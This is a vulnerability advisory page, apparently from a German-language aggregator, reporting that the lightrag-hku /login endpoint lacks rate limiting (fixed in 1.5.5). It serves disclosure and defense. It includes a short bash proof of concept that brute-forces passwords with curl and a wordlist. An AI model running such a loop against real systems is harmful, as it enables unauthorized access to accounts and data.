lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks
Summary
The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
Details
# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
if not auth_handler.verify_password(username, form_data.password):
raise HTTPException(status_code=401, detail="Incorrect credentials")
# No: rate limit / lockout / backoff / CAPTCHA / attempt counter
A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
PoC
# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST http://<TARGET>:9621/login \
-d "username=admin&password=${pass}")
[ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt
Impact
Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | lightrag-hku | < 1.5.5 | 1.5.5 |
Verweise
- https://github.com/HKUDS/LightRAG/security/advisories/GHSA-frch-4w6v-q5xx
- https://nvd.nist.gov/vuln/detail/CVE-2026-85734
- https://github.com/HKUDS/LightRAG/pull/3424
- https://github.com/HKUDS/LightRAG/commit/135bc9056e9ecd800c1abe2f2ce24d1a86622a54
- https://github.com/HKUDS/LightRAG
- https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5
- https://pypi.org/project/lightrag-hku
- https://github.com/advisories/GHSA-frch-4w6v-q5xx
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N- Schwäche (CWE)
CWE-307- Plattform
- Python (PyPI)
- Paket
lightrag-hku- Veröffentlicht
- 22.09.2026
- Aktualisiert
- 11.10.2026 15:18
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-4062 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-frch-4w6v-q5xx - CC BY 4.0
Schwachstellenhistorie: lightrag-hku
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 10
- Erste → letzte
- 06.2025 09.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Kritisch 3
- Hoch 2
- Mittel 5
Veröffentlichungen pro Jahr
- 2025: 1
- 2026: 9
-
lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.